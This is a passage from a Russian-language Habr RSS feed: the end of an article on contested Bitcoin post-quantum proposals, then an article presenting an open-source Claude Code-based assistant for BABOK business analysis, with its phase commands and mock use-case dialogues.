коллективной безопасности? Технически P2MR (BIP‑0360) предлагает довольно элегантное, хоть и не самое лучшее, но решение для будущих переводов, но принудительная миграция создаёт вопиющий прецедент по ограничению доступа для ряда пользователей к своим монетам. &lt;p&gt;Столь спорное обновление может привести к хард-форку — разделению блокчейна на две независимые ветки, что подорвёт доверие к сети и создаст временный хаос на рынке.&lt;p&gt;Кроме того, принудительное замораживание средств может противоречить законам о собственности в ряде юрисдикций, создавая риски исков к майнерам, а в некоторых случаях к любым владельцам полных нод и даже крипто-биржам.&lt;p&gt;Учитывая поляризацию сообщества, вероятность принятия BIP‑0361 в текущем виде крайне низка. Поэтому вопреки поднятой в СМИ шумихе нет необходимости срочно бежать и спасать свои биткоины от квантовых компьютеров. Скорее всего, мы увидим целую серию компромиссных контрпредложений в ближайшие месяцы.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>BestChange</author>
      <guid>https://habr.com/ru/articles/1024840/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024840</guid>
      <pubDate>Fri, 17 Apr 2026 18:23:12 +0000</pubDate>
    </item>
    <item>
      <title>Как я научил Claude Code работать бизнес-аналитиком по руководству BABOK. Вот что получилось</title>
      <link>https://habr.com/ru/articles/1024844/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024844</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;AIналитик (AInalyst) — это AI-ассистент, который работает рядом с вами как опытный коллега бизнес-аналитик. Он прекрасно знает методологию &lt;code&gt;BABOK v3&lt;/code&gt;, умеет строить карты стейкхолдеров, планировать интервью и обрабатывать его результаты: собирать требования, трассировать и приоритизировать их, оформлять артефакты. Вы описываете задачу своими словами — AIналитик предлагает следующий шаг, задаёт уточняющие вопросы и делает работу.&lt;p&gt;&lt;code&gt;BABOK guide&lt;/code&gt;, которое является руководством, регламентирующим работу бизнес аналитиков — это более 500 страниц структурированной экспертизы. AIналитик встроил её в свой процесс: он не даст вам пропустить важный шаг, предупредит о рисках и подскажет следующее действие. BA, который плохо ориентируется в методологии, с платформой начинает работать по методологии &lt;code&gt;BABOK&lt;/code&gt; так же уверенно, как опытный специалист.&lt;p&gt;Исходники Платформы вы найдете на гитхабе: &lt;a href=https://github.com/chaussky/ainalyst.git rel=&#34;noopener noreferrer nofollow&#34;&gt;Репозиторий AIналитика на GitHub&lt;/a&gt;&lt;p&gt;Привет, Хабр! Я бизнес-аналитик, последнее время перешедший в AI разработку, хочу представить вам свой пет-проект: &lt;strong&gt;AI Платформа AIналитик&lt;/strong&gt;. Или коротко AIналитик (AInalyst).&lt;p&gt;&lt;strong&gt;AI Платформа AIналитик&lt;/strong&gt; это опенсорсный проект, распространяющийся по лицензии AGPL v3. &lt;a href=https://t.me/platform_ainalyst rel=&#34;noopener noreferrer nofollow&#34;&gt;Телеграм с новостями проекта&lt;/a&gt;&lt;details class=spoiler&gt;&lt;summary&gt;Документация проекта&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;В папке репозитория &lt;code&gt;docs/&lt;/code&gt; содержится подробная и исчерпывающая документация по проекту: пользовательская инструкция, руководство разработчика и примеры сценариев использования Платформы.&lt;/div&gt;&lt;/details&gt;&lt;h3&gt;Целевая аудитория: кому это может быть полезно?&lt;/h3&gt;&lt;p&gt;Платформа помогает бизнес-аналитикам работать по методологии &lt;code&gt;BABOK v3&lt;/code&gt; — последовательно и без лишних усилий. Когда я только начинал работу над проектом, я держал в уме две категории:&lt;p&gt;&lt;strong&gt;Опытный бизнес-аналитик&lt;/strong&gt; получает инструмент, который снимает рутину: структурирует транскрипты, строит матрицы трассировки, генерирует коммуникационные пакеты для разных аудиторий — и освобождает время для анализа, интерпретации и принятия решений.&lt;p&gt;&lt;strong&gt;Начинающий BA&lt;/strong&gt; получает надёжного проводника. Платформа помогает все делать “правильно”: задаёт нужные вопросы, подсказывает, вовремя предупреждает, объясняет почему формулировка не прошла валидацию, показывает как должно выглядеть хорошее требование, готовит артефакты.&lt;p&gt;Но потом понял, что целевая аудитория AIналитика не ограничивается только бизнес-аналитиками. Он также может быть очень полезен продактам, проджектам и стартаперам:&lt;p&gt;&lt;strong&gt;Продакты, проджекты и технические директора.&lt;/strong&gt; Иногда на проекте нет выделенного бизнес-аналитика. Его роль могут взять на себя product manager, project manager или технический директор. У них есть высокоуровневое понимание продукта и бизнес-процессов, но нет глубоких компетенций в методологии сбора и анализа требований. AIналитик в таком случае подставит им свое плечо и поделится своей экспертизой.&lt;p&gt;&lt;strong&gt;Стартаперы и основатели новых продуктов.&lt;/strong&gt; Когда бюджет сильно ограничен, нанимать бизнес-аналитика бывает нет возможности. Но грамотно собранные требования — это разница между продуктом, который работает, и продуктом, который приходится переделывать. Как же быть? В этой ситуации Платформа также может выручить. Она поможет разобраться со стейкхолдерами, структурировано собрать требования и передать их команде разработки в том виде, в котором с ними можно работать. Стартапер легко сможет примерить на себя роль бизнес-аналитика.&lt;details class=spoiler&gt;&lt;summary&gt;AI Платформа AIналитик на момент написания статьи покрывает все задачи четырёх ключевых областей знаний BABOK:&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;h4&gt;Планирование и мониторинг бизнес-анализа (Глава 3)&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;3.1 Планирование подхода к бизнес-анализу&lt;li&gt;&lt;p&gt;3.2 Планирование вовлечения заинтересованных сторон&lt;li&gt;&lt;p&gt;3.3 Планирование руководства бизнес-анализом&lt;li&gt;&lt;p&gt;3.4 Планирование управления информацией бизнес-анализа&lt;li&gt;&lt;p&gt;3.5 Определение возможностей улучшения эффективности бизнес-анализа&lt;/ul&gt;&lt;h4&gt;Выявление и сотрудничество (Глава 4)&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;4.1 Подготовка к выявлению&lt;li&gt;&lt;p&gt;4.2 Проведение выявления&lt;li&gt;&lt;p&gt;4.3 Подтверждение результатов выявления&lt;li&gt;&lt;p&gt;4.4 Предоставление информации бизнес-анализа&lt;li&gt;&lt;p&gt;4.5 Управление сотрудничеством с заинтересованными сторонами&lt;/ul&gt;&lt;h4&gt;Управление жизненным циклом требований (Глава 5)&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;5.1 Трассировка требований&lt;li&gt;&lt;p&gt;5.2 Поддержание требований&lt;li&gt;&lt;p&gt;5.3 Приоритизация требований&lt;li&gt;&lt;p&gt;5.4 Оценка изменений требований&lt;li&gt;&lt;p&gt;5.5 Утверждение требований&lt;/ul&gt;&lt;h4&gt;Анализ стратегии (Глава 6)&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;6.1 Анализ текущего состояния&lt;li&gt;&lt;p&gt;6.2 Определение будущего состояния&lt;li&gt;&lt;p&gt;6.3 Оценка рисков&lt;li&gt;&lt;p&gt;6.4 Определение стратегии изменения&lt;/ul&gt;&lt;h4&gt;Анализ требований и определение дизайна (Глава 7)&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;7.1 Спецификация и моделирование требований&lt;li&gt;&lt;p&gt;7.2 Верификация требований&lt;li&gt;&lt;p&gt;7.3 Валидация требований&lt;li&gt;&lt;p&gt;7.4 Определение архитектуры требований&lt;li&gt;&lt;p&gt;7.5 Определение вариантов дизайна&lt;li&gt;&lt;p&gt;7.6 Анализ потенциальной ценности и рекомендация решения&lt;/ul&gt;&lt;p&gt;Задачи Главы 8 в планах.&lt;/div&gt;&lt;/details&gt;&lt;h3&gt;Что это даёт на практике&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Для бизнес-аналитиков.&lt;/strong&gt; В первую очередь использование AIналитика на проекте приводит к снижению когнитивной нагрузки. Проект может длится месяцами — стейкхолдеры, решения, требования, история изменений. Удержать всё в голове невозможно. Конфлюенс снимает только часть проблем. AIналитик же фиксирует каждый шаг живого BA в структурированных артефактах. В любой момент можно спросить «что сейчас открыто по согласованиям» или «почему было принято это решение» и получить ответ немедленно.&lt;p&gt;&lt;strong&gt;Для руководителей.&lt;/strong&gt; Внезапный уход бизнес-аналитика с большого проекта (в силу увольнения или болезни) может сильно ударить по команде. Это большая головная боль для руководителя. Требования хоть и отражены в конфлюенсе (или еще где-то), но все равно основная масса информации по проекту находится в голове ушедшего бизнес аналитика. Если же работа велась с помощью &lt;strong&gt;AI Платформы AIналитик&lt;/strong&gt;, информация никуда не пропадает. Она остается в его недрах в виде структурированных данных. И главное она может быть &lt;strong&gt;быстро доступна&lt;/strong&gt; для нового бизнес-аналитика! Онбординг нового BA на порядок сокращается по времени. Ему не нужно будет часами копаться в документации, переспрашивать коллег и стейкхолдеров о принятых решениях. Ему нужно только задать вопросы. AIналитик быстро введет нового BA в курс дела!&lt;details class=spoiler&gt;&lt;summary&gt;Сценарии использования Платформы&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;Обширные сценарии использования Платформы вы найдете в репозитории в папке &lt;code&gt;docs/use-cases/&lt;/code&gt;. Два примера я привожу в этой статье чуть ниже.&lt;/div&gt;&lt;/details&gt;&lt;h3&gt;Что из себя представляет платформа AIналитик?&lt;/h3&gt;&lt;p&gt;В основе платформы — большая языковая модель (LLM) &lt;code&gt;Claude от Anthropic&lt;/code&gt;. Конечно, вы можете просто открыть обычный чат с &lt;code&gt;Claude&lt;/code&gt; и задавать вопросы ему. Это работает. Но у такого подхода есть принципиальное ограничение: если вы сами не знаете, что спросить и в какой последовательности, то чат превращается в умного, но неструктурированного собеседника.&lt;p&gt;Он ответит на ваш вопрос, но не скажет, правильный ли это вопрос для данного момента проекта. Чтобы получить правильный ответ, нужно задать правильный вопрос - это работает в обычной человеческой жизни, а уж с нейросетями тем более!&lt;p&gt;&lt;strong&gt;AI Платформа AIналитик&lt;/strong&gt; решает эту проблему через три слоя:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;&lt;/code&gt; — AI-агент, который не просто отвечает, а действует: читает файлы, выполняет команды.&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Skills (скиллы)&lt;/strong&gt;&lt;/code&gt; — 21 специализированный модуль, каждый из которых глубоко «знает» конкретную задачу &lt;code&gt;BABOK&lt;/code&gt;: как её правильно выполнить, на что обратить внимание, какие артефакты создать. Это встроенная экспертиза методологии.&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;MCP-инструменты&lt;/strong&gt;&lt;/code&gt; — 22 сервера со 111 инструментами, которые выполняют конкретные аналитические операции: строят реестры стейкхолдеров, анализируют транскрипты интервью, создают матрицы трассировки, оценивают риски, формируют спецификации требований.&lt;/ul&gt;&lt;p&gt;Вместе эти три слоя создают то, чего не даёт обычный чат: чёткую канву работы, по которой вы движетесь от начала проекта до финального артефакта. С помощью Платформы бизнес-аналитик (или лицо, выполняющее на проекте его роль), - как трамвай, движущийся по рельсам. Рельсы вас практически гарантировано доставят до места назначения, не дадут вам свернуть в сторону!&lt;details class=spoiler&gt;&lt;summary&gt;Подробное описание Платформы в формате пользовательской инструкции&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;p&gt;Подробное описание Платформы в формате: краткое описание задачи &lt;code&gt;BABOK&lt;/code&gt; -&amp;gt; боли и проблемы бизнес-аналитика в контексте этой задачи -&amp;gt; какие решения в этом случае предлагает AIналитик, вы найдете в файлах пользовательской инструкции (см. папку &lt;code&gt;docs/user-guide&lt;/code&gt; репозитория).&lt;/div&gt;&lt;/details&gt;&lt;h4&gt;Вам не нужно разбираться, что у Платформы под капотом&lt;/h4&gt;&lt;p&gt;Это, пожалуй, самое важное, что нужно понять про AIналитика. Вам не нужно знать названия скиллов. Не нужно изучать, как работают MCP-инструменты. Не нужно заучивать никакие команды. Просто разговаривайте с AIналитиком на человеческом языке:&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;«Мне нужно подготовиться к интервью с финансовым директором»&lt;/em&gt; &lt;em&gt;«У меня есть транскрипт встречи, нужно выявить требования»&lt;/em&gt; &lt;em&gt;«Пришёл запрос на изменение, помоги оценить»&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;AIналитик сам определит, какой скилл и какие инструменты нужны, и запустит их.&lt;p&gt;Каждый скилл написан по строгой спецификации Антропика и содержит YAML-заголовок с триггерами — смысловыми паттернами, которые описывают, когда именно этот скилл должен сработать. Когда бизнес-аналитик пишет что-то в чат, AIналитик (посредством Claude Code) анализирует запрос, сопоставляет его с триггерами, активирует нужный скилл — и тот вызывает соответствующие инструменты из MCP-серверов. Бизнес-аналитик не знает, что именно происходит под капотом. Ему это и не нужно: он просто забирает результат, который использует для целей проекта.&lt;h3&gt;Зона ответственности бизнес-аналитика&lt;/h3&gt;&lt;p&gt;Платформа берёт на себя методологию и техническую работу. Но три вещи остаются за BA.&lt;h4&gt;Формирование контекста: входные данные и результаты&lt;/h4&gt;&lt;p&gt;Бизнес-аналитик ответственен за формирование правильного контекста. BA со своей стороны должен поставлять в Платформу для ее работы сырые данные: транскрипты интервью, анкеты, протоколы встреч, бизнес-документы, регламенты, нормативные акты. Они кладутся в папку &lt;code&gt;&lt;strong&gt;inputs/&lt;/strong&gt;&lt;/code&gt;. Просто скопируйте файлы туда и скажите AIналитику, что обработать. Поддерживаются форматы &lt;code&gt;.txt&lt;/code&gt;, &lt;code&gt;.md&lt;/code&gt;, &lt;code&gt;.pdf&lt;/code&gt; и &lt;code&gt;.docx&lt;/code&gt;.&lt;p&gt;Все результаты работы платформа сохраняет в папку &lt;code&gt;&lt;strong&gt;governance_plans/reports/&lt;/strong&gt;&lt;/code&gt; в формате Markdown. Это ваши рабочие артефакты: планы, реестры, спецификации, протоколы.&lt;p&gt;Если вам нужен PDF — воспользуйтесь специально написанной утилитой &lt;code&gt;export_pdf.py&lt;/code&gt;, либо какими-то внешними сервисами.&lt;p&gt;Папка &lt;code&gt;&lt;strong&gt;governance_plans/data/&lt;/strong&gt;&lt;/code&gt; — служебная. Там хранятся JSON-файлы, которые платформа использует внутри для своей работы: граф требований, данные приоритизации, результаты оценок. Вам туда заходить не нужно — это внутренняя «память» платформы о проекте, пожалуйста, ничего не трогайте в ней.&lt;h4&gt;Принятие решений&lt;/h4&gt;&lt;p&gt;AIналитик будет задавать вам вопросы в ключевые моменты: когда нужно выбрать методологию, расставить приоритеты, утвердить требования или оценить риски. Конечно, он даст рекомендации и предупредит о последствиях, но финальное решение всегда за бизнес-аналитиком! Методология помогает принять хорошее решение, но не принимает его вместо живого бизнес-аналитика. Это нужно понимать!&lt;h4&gt;Управление фазами&lt;/h4&gt;&lt;p&gt;Как я уже сказал выше, движущей силой, которая направляет BA в нужном направлении (та самая концепция рельсов), являются скиллы и mcp сервера с инструментами. Если скиллы в начале сессии грузятся в контекстное окно только в виде заголовков, и в дальнейшем в процессе работы, когда срабатывает триггер, подгружаются полностью, то mcp сервера грузятся в контекстное окно полностью сразу. А в проекте AIналитик они большие и объемные. Это может привести к забиванию контекстного окна, что в свою очередь может привести к галлюцинациям LLM во время сессии. Я надеюсь, вы понимаете, как важно при работе с LLM следить за контекстным окном? Для решения этой проблемы было принято архитектурное решение разделения работы на фазы.&lt;p&gt;Каждая фаза соответствует всем задачам одной области знания &lt;code&gt;BABOK&lt;/code&gt;. Например, в фазу &lt;code&gt;lifecycle&lt;/code&gt; входят 5 задач области знания управления жизненным циклом требований.&lt;p&gt;Всего выделено пять фаз по каждой реализованной области знаний:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Фаза&lt;th&gt;&lt;p align=left&gt;Когда использовать&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;planning&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Старт проекта, план BA, карта стейкхолдеров, все задачи Главы 3&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;elicitation&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Интервью, воркшопы, протоколы встреч, все задачи Главы 4&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;lifecycle&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Трассировка, приоритизация, CR, утверждение требований, все задачи Главы 5&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;analysis&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Анализ as-is / to-be, GAP-анализ, риски, стратегия изменения, все задачи Главы 6&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;design&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Спецификация, верификация, валидация, варианты решения, все задачи Главы 7&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Таким образом, &lt;strong&gt;AI Платформа AIналитик&lt;/strong&gt; работает в режиме &lt;strong&gt;активной фазы&lt;/strong&gt;: в каждый момент загружены только те MCP-инструменты, которые нужны для текущего этапа проекта.&lt;p&gt;&lt;strong&gt;AI Платформа AIналитик&lt;/strong&gt; аккуратно и внимательно следит за фазами со своей стороны (это прописано в ее конфигурационных файлах). Но актуальность установленной в Платформе фазы это важный момент, влияющий на качество работы, поэтому я настоятельно рекомендую вам держать этот момент в голове и не отдавать его на откуп нейросети (даже продвинутой).&lt;p&gt;Вы всегда можете узнать, какая фаза сейчас на Платформе активна. Самое простое, вы можете всегда уточнить текущую фазу у AIналитика.&lt;blockquote&gt;&lt;p&gt;Прямо его спросите: какая сейчас фаза?&lt;/blockquote&gt;&lt;p&gt;Он вам ответит. Когда вы решите поработать над задачами из других областей знаний &lt;code&gt;BABOK&lt;/code&gt;, то сообщите об этом AIналитику. Попросите сменить фазу: укажите другую. Платформа сама сменит фазу (даст команду в терминале). Или просто скажите над какими задачами планируете работать. И AIналитик вам подскажет, какая фаза нужна.&lt;p&gt;После смены фазы вам нужно будет рестартануть AIналитика.&lt;p&gt;&lt;strong&gt;Для этого вам нужно будет дать в терминале команду &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;/restart&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;p&gt;Это нужно сделать обязательно! В противном случае перезагрузка mcp серверов не произойдет, и AIналитик не сможет выполнять работу.&lt;p&gt;&lt;strong&gt;Пожалуй, это единственный технический момент, который вам нужно запомнить и применять! В остальном - общаетесь с агентом на обычном человеческом языке.&lt;/strong&gt;&lt;p&gt;Если хотите, то контролировать фазы можете вручную самостоятельно. Чтобы узнать текущую фазу, нужно дать команду в терминале:&lt;pre&gt;&lt;code class=bash&gt;python phase.py&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Скрипт выведет вам название текущей фазы проекта, в рамках которой AIналитик в данный момент работает. Если вы хотите перейти на другую фазу, например с задач Главы 4 на задачи, относящиеся к Главе 5, то укажите ее название явно:&lt;pre&gt;&lt;code class=bash&gt;python phase.py lifecycle&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Только не забывайте, после смены фазы потребуется перезапустить сессию командой &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;/restart&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;p&gt;Но если у вас опыта работы с терминалом нет, то не переживайте! AIналитик и тут вам поможет, просто общайтесь с ним и просите, что нужно.&lt;h3&gt;Сценарии использования Платформы&lt;/h3&gt;&lt;p&gt;Варианты использования AIналитика покрывают все задачи областей знаний &lt;code&gt;BABOK&lt;/code&gt;, описанных в главах 3, 4, 5, 6, 7. Но чтобы вам было проще вкатиться в процесс работы и быстрее освоиться, я подготовил моковые сценарии. Вы их найдете в репозитории в папке &lt;code&gt;docs/use-cases/&lt;/code&gt;. Здесь приведу только пару штук.&lt;details class=spoiler&gt;&lt;summary&gt;UC-01 — Когда аналитик уходит из проекта&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Для кого:&lt;/strong&gt; Руководители отделов бизнес-анализа, технические директора, PM. &lt;strong&gt;Боль:&lt;/strong&gt; Ключевой BA уволился, ушёл в отпуск, заболел — и весь контекст проекта исчез вместе с ним! &lt;strong&gt;Фичи:&lt;/strong&gt; &lt;code&gt;Реестр стейкхолдеров&lt;/code&gt; (3.2), &lt;code&gt;Decision Log&lt;/code&gt; (4.5), &lt;code&gt;граф трассировки&lt;/code&gt; (5.1), &lt;code&gt;история CR&lt;/code&gt; (5.4), &lt;code&gt;статусы согласования&lt;/code&gt; (5.5)&lt;/blockquote&gt;&lt;h4&gt;Ситуация&lt;/h4&gt;&lt;p&gt;Идёт 5-й месяц проекта по внедрению системы управления ассортиментом в крупной розничной сети. Ключевой бизнес-аналитик Антон — человек, который знает всех стейкхолдеров лично, помнит почему было принято решение убрать FR-034 ещё в марте, и держит в голове три незакрытых условия согласования с финансовым директором — внезапно увольняется.&lt;p&gt;На проекте: 14 стейкхолдеров с разной историей вовлечённости, 87 требований в разных статусах, 9 принятых Change Request, и через 3 недели презентация Steering Committee.&lt;p&gt;Руководитель отдела BA в панике. Новый аналитик Юлия выходит на проект в понедельник.&lt;p&gt;Это типичная ситуация, которая в большинстве компаний превращается в кризис: несколько недель уходит на «войну с архивами», интервью с теми кто «что-то помнит», и попытки восстановить контекст по переписке в почте и мессенджерах.&lt;p&gt;С AIналитик эта история выглядит иначе.&lt;h4&gt;Что делает Юлия&lt;/h4&gt;&lt;p&gt;Она открывает AIналитик, смотрит на папку проекта и пишет одну фразу:&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Юлия:&lt;/strong&gt; Я только вышла на проект assortment-2026. Предыдущий бизнес аналитик Антон уволился. Расскажи мне о текущем состоянии: стейкхолдеры, открытые вопросы, незакрытые согласования.&lt;/blockquote&gt;&lt;h4&gt;Как отвечает AIналитик&lt;/h4&gt;&lt;p&gt;AIналитик читает все артефакты проекта и за несколько секунд выдаёт структурированную сводку:&lt;hr&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;AIналитик:&lt;/strong&gt; Проект assortment-2026, активная фаза — lifecycle. Вот текущий контекст:&lt;p&gt;&lt;strong&gt;Стейкхолдеры (14 человек):&lt;/strong&gt; — Ирина Соколова (финансовый директор) — Key Player, Manage Closely. Статус: ⚠️ Concerned с 28 марта. Последнее взаимодействие: 3 апреля, письмо без ответа. Требует внимания. — Михаил Дроздов (IT-директор) — Context Setter. Статус: ✅ Champion. Активен. — &lt;em&gt;(ещё 12 участников с историей и статусами)&lt;/em&gt;&lt;p&gt;&lt;strong&gt;Открытые вопросы по согласованию:&lt;/strong&gt; 3 conditional approval не закрыты. Один просрочен: условие финансового директора по FR-037 (security review) — дедлайн был 1 апреля.&lt;p&gt;&lt;strong&gt;Последние решения из &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;Decision Log&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt;:&lt;/strong&gt; — 15 марта: FR-034 перенесён в v2. Причина — высокая стоимость, low priority по итогам приоритизации. Решение принято Антоном совместно с Product Owner. — 22 марта: CR-008 (интеграция с ERP) одобрен с условием — реализовать асинхронно.&lt;p&gt;Хочешь, чтобы я показал полный реестр стейкхолдеров или сразу перешли к незакрытым согласованиям?&lt;/blockquote&gt;&lt;hr&gt;&lt;p&gt;Юлия продолжает:&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Юлия:&lt;/strong&gt; Покажи детально ситуацию с финансовым директором — почему Concerned и что с просроченным условием?&lt;/blockquote&gt;&lt;hr&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;AIналитик:&lt;/strong&gt; Ирина Соколова перешла в статус Concerned 28 марта — после встречи по CR-008. В &lt;code&gt;Decision Log&lt;/code&gt;: она выразила опасения по безопасности интеграции с ERP. Антон пообещал security review до 1 апреля.&lt;p&gt;Условие CR-008: «FR-037 должен пройти security review до начала разработки интеграционного модуля». Статус: ⛔ Просрочено. Ответственный: Антон (уволился).&lt;p&gt;Рекомендую: написать Ирине сегодня — представиться, объяснить ситуацию, договориться о новом сроке. Подготовить письмо?&lt;/blockquote&gt;&lt;hr&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Юлия:&lt;/strong&gt; Да, подготовь. И обнови ответственного по этому условию на меня.&lt;/blockquote&gt;&lt;h4&gt;Что получает Юлия&lt;/h4&gt;&lt;p&gt;За 20 минут она знает:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Кто из стейкхолдеров требует немедленного внимания и почему&lt;li&gt;&lt;p&gt;Почему было принято каждое ключевое решение за последние два месяца&lt;li&gt;&lt;p&gt;Что конкретно нужно сделать сегодня, чтобы не провалить презентацию через 3 недели&lt;li&gt;&lt;p&gt;Полную историю каждого требования — откуда взялось, как менялось, кто согласовал&lt;/ul&gt;&lt;p&gt;Контекст, который обычно живёт в голове одного человека и исчезает вместе с ним, — здесь зафиксирован, структурирован и доступен новому аналитику с первой минуты.&lt;h4&gt;Что происходит под капотом&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Бизнес-аналитик с этим не работает напрямую — всё делает AIналитик автоматически.&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;При первом запросе AIналитик обращается к нескольким источникам одновременно: читает реестр стейкхолдеров с историей изменений статусов (MCP-сервер главы 3 — &lt;code&gt;planning_mcp&lt;/code&gt;), достаёт &lt;code&gt;Decision Log&lt;/code&gt; со всеми зафиксированными решениями (MCP-сервер задачи 4.5 — &lt;code&gt;elicitation_collaborate_mcp&lt;/code&gt;), проверяет статусы согласования и открытые условия (MCP-сервер задачи 5.5 — &lt;code&gt;requirements_approve_mcp&lt;/code&gt;). Граф трассировки (MCP-сервер задачи 5.1 — &lt;code&gt;requirements_traceability_mcp&lt;/code&gt;) позволяет по любому требованию мгновенно ответить «откуда это взялось и что за ним тянется».&lt;p&gt;Вся эта информация накапливалась в структурированных JSON-файлах в папке &lt;code&gt;governance_plans/data/&lt;/code&gt; на протяжении всего проекта — каждый раз когда Антон сохранял результаты интервью, обновлял статус стейкхолдера, фиксировал решение или закрывал CR. Автоматически, как побочный эффект обычной работы.&lt;p&gt;Для Юлии это означает: она получает не папку с документами, которые нужно читать часами, а живую структурированную память проекта, с которой можно сразу разговаривать.&lt;/div&gt;&lt;/details&gt;&lt;details class=spoiler&gt;&lt;summary&gt;UC-08 — Impact Analysis при внезапном Change Request&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Для кого:&lt;/strong&gt; Бизнес-аналитики на активных проектах &lt;strong&gt;Боль:&lt;/strong&gt; Change Request «звучит просто» — но за ним тянется половина артефактов проекта, и никто этого не видит до разработки &lt;strong&gt;Фичи:&lt;/strong&gt; BFS-обход графа трассировки, скоринг CR (задачи 5.1 + 5.4)&lt;/blockquote&gt;&lt;h4&gt;Ситуация&lt;/h4&gt;&lt;p&gt;Логистическая компания. Проект — система управления маршрутами. Идёт процесс работы, всё по плану. И тут коммерческий директор пишет BA Андрею короткое сообщение: «Нужно добавить расчёт CO₂-эмиссии для каждого маршрута в реальном времени — для ESG-отчёта. Это же несложно, правда?»&lt;p&gt;На первый взгляд — небольшое дополнение. Но Андрей уже достаточно опытен, чтобы насторожиться. «Несложно» в устах стейкхолдера — один из самых опасных сигналов в управлении требованиями.&lt;p&gt;Он открывает Платформу.&lt;h4&gt;Что делает Андрей&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Андрей:&lt;/strong&gt; Открой Change Request: коммерческий директор просит добавить расчёт CO₂-эмиссии для каждого маршрута в реальном времени. Говорит что несложно.&lt;/blockquote&gt;&lt;h4&gt;Как отвечает AIналитик&lt;/h4&gt;&lt;hr&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;AIналитик:&lt;/strong&gt; CR-011 создан. Запускаю impact analysis по графу трассировки…&lt;p&gt;&lt;strong&gt;Затронутые артефакты (11):&lt;/strong&gt;&lt;p&gt;— FR-022 (расчёт стоимости маршрута) — прямая зависимость. CO₂ нужно считать на тех же данных о маршруте, что и стоимость. Изменение логики расчёта может затронуть FR-022. — NFR-003 (производительность: отклик API не более 500 мс) — ⚠️ &lt;strong&gt;конфликт&lt;/strong&gt;. Расчёт CO₂ в реальном времени требует обращения к внешнему API эмиссий. Это добавляет минимум 200-400 мс к каждому запросу. NFR-003 окажется под угрозой. — ADR-002 (архитектурное решение: кэширование данных о маршрутах) — нужен пересмотр. Кэшированные данные не подходят для расчёта CO₂ в реальном времени. — TC-014, TC-015, TC-017 (три тест-кейса) — потребуют обновления. — &lt;em&gt;(ещё 5 артефактов второго уровня зависимости)&lt;/em&gt;&lt;p&gt;&lt;strong&gt;Оценка CR:&lt;/strong&gt; Score: 5.8 — &lt;strong&gt;Modify&lt;/strong&gt; (принять с условием).&lt;p&gt;Рекомендация: принять CR-011, но изменить требование — убрать «реальное время». CO₂ считается асинхронно и доступен при следующем открытии маршрута. Это снимает конфликт с NFR-003 